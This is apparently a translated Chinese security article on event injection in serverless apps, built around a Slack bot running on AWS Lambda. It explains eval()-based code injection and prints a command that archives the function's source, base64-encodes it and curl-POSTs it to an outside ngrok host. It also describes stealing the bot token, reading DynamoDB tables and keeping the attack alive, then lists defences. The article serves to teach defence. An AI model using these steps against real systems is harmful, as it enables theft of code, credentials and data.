OWASP项目介绍
OWASP已经推出了一个新项目:Serverless Top 10 Project(OWASP无服务器 Top10)。此项目的目的是向安全从业者及组织科普常见的Serverless应用存在的安全漏洞,同时也提供识别和防范的基础技术。通过公开募集,这个项目将收集分析相关行业真实的数据输入,并计划于2019年第二季度正式发布报告。
即将发布的Serverless Top 10报告将研究运用历年OWASP Top 10中的技术攻击运行在Serverless状态中的应用,解释并举例针对Serverless应用时的攻击向量,防御技术和业务影响与传统应用之间差异。
自述
本文是Serverless系列的第一篇。这里,我将会使用大家熟知的传统攻击方式,探索处理Serverless应用时的新向量。从攻与防两面向大家展示新的技术。
这篇文章讨论的是有着多种变化攻击方式,最令人担忧的注入攻击。
对于黑客来说,SQL注入,操作系统命令注入,代码注入等攻击方式一直是他们的最爱,因为它们通常以一个完美的方式结束,获取黑客们想要的东西。对于“白帽子”来说有些不同。我们很重视这些漏洞,会尽一切努力防止它们发生。对于上述漏洞,经过二十多年有针对性的防御措施的开发,我们依然能够听到某个糟糕的网站,允许黑客注入恶意代码,然后以成千上万的网站用户信息泄露和一个官方道歉草草了事。所以,我们永远不知道如何学习。
坏消息,防御针对Serverless应用的注入攻击攻击比传统应用更难。对于传统应用程序来说,注入类漏洞的发生有相同的原因:应用轻易相信了用户的输入,然后将数据通过”The Network”交给程序内部某个功能处理。
对于处于Serverless环境应用, 发生注入类漏洞也有着类似的原因,但是其中”The Network”更加复杂。通常来说触发事件,Serverless应用才会运行。事件可以是应用的基础服务提供商提供的任意服务,如云储存,电子邮件,提醒功能等。
所以,为了防止漏洞,编写安全可靠的应用代码不再是我们唯一要做的,我们还要保护”The Network”的边界。例如,在接收电子邮件到触发应用某个功能之间安装防火墙。我们不知道我们的应用的基础服务提供商提供的服务的代码是否可靠。构成基础服务的代码,如果存在漏洞,并造成注入攻击,那么在Serverless应用的世界,叫做事件注入。
例子
一个简单的Serverless应用(自动回复机器人)的场景:
- 用户进入Slack chat-bot聊天频道
- 用户发送消息给Slack后端
- Slack后端自动将消息发送到组织API的网关
- 这个请求通过事件触发一组Lambda函数
- 其中一个lambda函数将消息写入DynamoDB某个表中
- 程序将自动回复内容发送到Slack后端
- 在这个设计好的频道里,Slack 会发出什么请求?
在本例中,因为通过Slack事件触发的Lambda函数容易受到代码注入的影响,所以可能存在事件注入。在AWS云上,大多数功能是通过动态语言(即Python或NodeJS)来实现,所以代码有被篡改的风险。RCE Style
在上面的代码中,我们能看到用了eval() 函数来解析JSON数据,我们都知道应该避免它。然而,这只是一个,还有很多危险函数有相同的效果。
使用curl或者其他工具验证目标Serverless应用存在注入漏洞后,黑客可以开始做一些其他的事情。是的,对于Serverless环境下,黑客对于大部文件都没兴趣,包括/etc/passwd。这些文件属于云端环境容器,并且大多数对应用本身没有多大影响。但是还有其他的地方具有攻击价值。例如,攻击者可以通过注入以下Payload来盗取整个应用的代码:
简略分析:_ND_FUNC_
是一种代码模式用来定义函数。由于是NodeJS环境,可以使用("child_process").exec()
开展一个新进程。通过这种方式,黑客能够执行任意代码。不用进入AWS Lambda 内部,当启动NodeJS时,可以在容器里上寻找到源码。So, 黑客可以简单的将源码压缩到/tmp (具有写入权限),使用base64编码并发送到ngrok:tar -pcvzf /tmp/source.tar.gz ./; b=`base64 –wrap=0 /tmp/source.tar.gz`; curl -X POST $l4 –data $b.
结果?
不超过一分钟就可以从那里获取整个功能代码:
解压
查看源码,可以在阶段 #6中看到Slack的请求:
即使黑客无法从上述代码中读取环境变量,还是可以简单利用,因为它们属于环境本身。
黑客可以注入特定的代码来更改机器人。下面的示例中,我们可以看到攻击者通过恶意代码修改了机器人的头像,并输出最初的ICON_URL
(不言而喻,窃取BOT_TOKEN
可以接管Slack帐户):
黑客也可以注入包含APIs(AWS-SDK)的代码。使用这类APIs代码允许黑客获得更多权限。例如,因为存在漏洞的函数可以读取某个DynamoDB表,黑客可以使用包含DynamoDB.DocumentClient.scan()
函数的特定代码检测这个表中已有的数据,利用Slack聊天通道发布检索到的数据:
通过机器人聊天通道攻击Serverless应用只是一种新攻击向量。类似的攻击还可以通过电子邮件(主题,附件或Header),MQTT发布/订阅消息,云存储事件(文件上载/下载等),查询,日志,文件上传或其他事件来进行。
这种攻击的影响和传统应用不同。因为没有服务器,所以没有服务器接管。在我们的示例中,攻击者能够读取源码代码,定义函数,查询数据库信息并接管机器人帐户,甚至可以接管云账户,这取决于存在漏洞的服务的权限。只要存在漏洞服务能够访问的,黑客都可以注入特定代码获得他们想要的。
如果你想观看演示视频,这里有
那么,我们该如何对抗这种攻击?好吧,不是所有的都要改变。很多保护传统应用程序的方法也对Serverless应用也有效。为了减少攻击的发生,做到以下几点:永远不要相信用户的输入,使用安全的API,最小权限原则。很重要的一点,程序员应该接受编写安全代码的培训。没有其他好办法了。
作为人类,我们容易出错。所以,我们试着去找到一种自动化的脚本去阻止我们犯错。但是,如果没有,我们该怎么办呢?
Serverless应用的防御措施应该是基于Serverless它本身的。否则,就失去了使用Servless的价值。,推特上一个聪明的家伙曾经说过,就像我们不会用剑来保护我们的宇宙飞船一样,我们也不能用旧技术来保护宇宙。Serverless应用的防御应该是瞬息的,与它所保护的代码共生死。
小结
我们讨论了Serverless注入攻击与传统攻击不同的方面:不同类型的输入源,动态语言的种类,以及环境中的有无价值的文件。还有其他差异,例如,Serverless应用的服务只会短暂的运行。在这种环境下黑客如何攻击?正常的攻击是当函数成功运行完毕时结束。黑客可能要重复地发动攻击,这样又有可能引起警觉。还有其他方法可以实现持续化。如简单地保持容器 “warm” 确保应用继续运行,这意味着黑客要定期地触发某个事件。另一种方法是通过注入Payload来修改程序源代码,使得应用会一直运行。